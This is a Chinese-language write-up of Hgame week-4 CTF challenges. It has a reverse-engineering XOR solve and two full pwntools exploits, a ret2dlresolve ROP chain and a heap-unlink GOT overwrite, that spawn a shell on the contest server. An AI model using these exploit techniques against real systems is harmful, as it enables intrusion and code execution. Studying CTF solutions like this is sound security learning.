Hgame-week4-writeup

(太难了这周,缩圈效果极佳)

Re

easyVM

简单处理下后,这题把你的输入经过一个虚拟机的操作变化后,与设定的结果比较,一致则成功,输入就是flag

2

虚拟机执行的指令如下:

1

分析handler函数,整理好操作的意图,大概有push压栈操作,pop出栈操作,还有一些运算,但是我还是看不太懂,最后动态调试,发现关键步骤在这里:

3

这个异或操作,再结合几条指令,发现就是改变输入的字符串的过程,而且就是把输入与一串固定不变的key进行异或而已,那么问题就简单了,全部输入\0,当然这个输入没法直接键盘输入,我直接在ida上改的,然后最后比较时的字符串就是我想要的key,再与dest异或就可以得出正确的flag了

dump出key和dest后,写了个脚本来计算,如下:

#!/bin/python3

s1 = bytes.fromhex('52334E474A4D676947706A362A51362A5E3654674E2340755E643361384B32485647764F63712459')
s2 = bytes.fromhex('3A542F2A2F3613012E033540470E5F59016927083D4C331A2D0B400E4B2441272528292A02025D24')


def xor(s1, s2):
    return bytes([ c1^c2 for c1,c2 in zip(s1,s2)])


flag = xor(s1, s2)

print(flag)

Pwn

ROP_LEVEL5

32位程序,没有输出流,没法leak,然后了解到一个不用leak的技术!——ret2dlresolve
比较难,涉及到一个延迟绑定的概念,这里就贴两篇文章参考:

https://www.cnblogs.com/elvirangel/p/8994799.html
http://pwn4.fun/2016/11/09/Return-to-dl-resolve/

我的exp如下,可以结合文章和我的注释看看:

#!/bin/python2
#coding=utf8

from pwn import *
from time import sleep

context(arch='amd64', os='linux')
context.terminal = ['gnome-terminal','-x','sh','-c']

elf = ELF('./ROP5')
#io = elf.process()
io = remote('47.103.214.163', 20700)

bss_buf_addr = 0x804A060
pop_3_ret = 0x080485d9
pop_ebp_ret = 0x080485db
leave_ret = 0x804855A
new_stack = bss_buf_addr + 0x800 # bss段前面大部分是不可写或者重要的数据

# 构造好read,用于读入数据到new_stack
offset = 0x48 # padding_len
payload = 'a' * offset  # padding
payload += p32(elf.plt['read'])
payload += p32(pop_3_ret) # read后的返回地址,把下面三个参数给pop走,平衡栈
payload += p32(0) # stdin
payload += p32(new_stack) # 读入到new_stack中
payload += p32(0x60) # 读入数据的长度
payload += p32(pop_ebp_ret) # pop new_stack到rbp
payload += p32(new_stack) 
payload += p32(leave_ret) # 栈迁移

io.sendlineafter('Are you the LEVEL5?\n', payload)


bin_sh_str = '/bin/sh 1>&0\x00' # system的参数
plt_0 = 0x08048380 # plt表第0项,这是延迟绑定第一步的入口


# 伪造的Elf32_Sym和Elf32_Rel 
dynsym_addr = 0x80481d8
dynstr_addr = 0x8048278
rel_plt = 0x8048330

fake_rel_addr = new_stack+0x14  # 伪造的Elf32_Rel的地址

# 伪造Elf32_Sym所处的地址
fake_sym_addr = fake_rel_addr+0x8 # 0x14+0x8(fake_rel的大小)
align = 0x10 - ((fake_sym_addr - dynsym_addr) & 0xf) # sym结构体的位置要0x10对齐
fake_sym_addr += align

# 伪造的Elf32_Sym在dynsym_addr指向的数组里的下标
sym_index = (fake_sym_addr - dynsym_addr) // 0x10

# Elf32_Rel的r_info字段
r_info = sym_index << 8 | 0x7

# 伪造的Elf32_Rel
fake_rel = p32(elf.got['puts']) + p32(r_info)  # r_offset,r_info  找到的函数地址会填到r_offset处

# 函数名字符串的地址
fake_str_addr = fake_sym_addr+0x10

# 字符串的偏移
st_name = fake_str_addr - dynstr_addr 

# 伪造的Elf32_Sym
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12) # st_name,not important

# 用于寻找Elf32_Rel结构体的偏移量
rel_offset = fake_rel_addr - rel_plt # fake_rel_addr指向fake_rel


# 构造ROP
payload = 'a' * 4 # 这个是给上面leave指令中的pop rbp这一步 
payload += p32(plt_0)
payload += p32(rel_offset)
payload += 'aaaa' # 返回地址
payload += p32(new_stack + 0x50) # binsh_str的地址
payload += fake_rel   # 这里的地址是(new_stack+0x14)
payload += 'a' * align
payload += fake_sym
payload += 'system\x00'  # 这里的地址是fake_sym_addr+0x10
payload += 'a' * (0x50 - len(payload))
payload += bin_sh_str


#gdb.attach(io)

io.sendline(payload)
io.interactive()

Annevi_Note2

其实这题和week3的Annevi_Note差不多,唯一的区别就是关闭了标准输出,没法leak。

查到资料了解到,bss段最开头有三个全局变量(有时候是两个):stdin,stdout,stderr

这三个全局变量是IO_FILE结构体的指针,详细的就不说了(毕竟我还没学完),特别注意的是,printf函数使用的是stdout这个指针(puts函数呢不使用这个),因为关闭的是stdout,stderr没有被关闭,可以修改stdout这个指针的值为stderr的值,这样printf函数的输出就可以接收到了,而且程序中的show的处理就是用printf的。

stdout和stderr的值其实只有12bit之差,而且因为libc的基址最低12bit必定全为0(这大概是物理页对齐为0x1000的原因),所以stdin和stderr的最低12bit是完全固定的,就是偏移量的最低12bit。

由unlink造成任意地址写,可以修改stdout的值最低12bit为stderr的,但是写入按照字节为单位写入,所以还有4bit要爆破,概率还是蛮大的。

输出打开后,leak出libc基址,计算system函数的地址后,劫持atoi函数got项getshell

exp如下:

#!/bin/python2
#coding=utf8

from pwn import *
from time import sleep
from LibcSearcher import LibcSearcher

context(arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]

def add(size, content):
    io.sendline('1')
    io.sendline(str(size))
    io.sendline(content)

def dele(index):
    io.sendline('2')
    io.sendline(str(index))

def show(index):
    io.sendline('3')
    io.sendline(str(index))


def edit(index, content):
    io.sendline('4')
    io.sendline(str(index))
    io.sendline(content)

stdout_addr = 0x6020A0
list_addr = 0x6020E0

elf = ELF('./AN2')
while True:
    #io = process(['./AN2.bak'], env={'LD_PRELOAD': './libc6_2.23-0ubuntu10_amd64.so'})
    #io = process(['./AN2.bak'])
    io = remote('47.103.214.163', 20701)
    io.recv()

    add(0x90, 'aaa') # 0
    add(0x90, 'aaa') # 1
    add(0x90, 'aaa') # 2

    # 伪造chunk
    payload_1 = p64(0) # prev_size
    payload_1 += p64(0x91) # size
    payload_1 += p64(list_addr - 0x18) # fd
    payload_1 += p64(list_addr - 0x10) # bk
    payload_1 += 'a' * (0x90 - 0x20)  # padding
    payload_1 += p64(0x90)  #1的prev_size
    payload_1 += p64(0xa0)  #1的size,并把前一个chunk标记为free(size最低位置为零)
    edit(0, payload_1)

    dele(1) # 由于unlink,此时list[0] = list - 0x18,list[0]即#0

    edit(0, 'a'*0x18 + p64(list_addr - 0x18) + p64(stdout_addr))  # 将list[1]指向stdout处

    pay = '\x40\x55'
    edit(1, pay) # 爆破成stderr的值
    try:
        show(0)
        ret = io.recv(timeout=2)
        if 'content' in ret:
            break
        else:
            raise Exception(ret)
    except Exception as e:
        print str(e)
        io.close()
        continue

# 现在printf都有输出了
edit(0, 'a'*0x18 + p64(list_addr - 0x18) + p64(elf.got['atoi']))  # 将list[1]指向atoi的got表项
show(1)
atoi_addr = io.recv()[-6:].ljust(8, '\x00')
atoi_addr = u64(atoi_addr)

print 'atoi_addr=' + hex(atoi_addr)

libc = LibcSearcher('atoi', atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')


print 'libc_base='+hex(libc_base)
print 'system_addr='+hex(system_addr)

edit(1, p64(system_addr))  # got表上atoi的地址修改成了system的地址

io.sendline('/bin/sh 1>&2')  # 程序调用了atoi(input)

#gdb.attach(io)
io.interactive()

总结

这周又学习了新的pwn技术,曾经无比渴望的二进制方向,现在我也可以算是踏出小小一脚入门了,路还长,继续加油!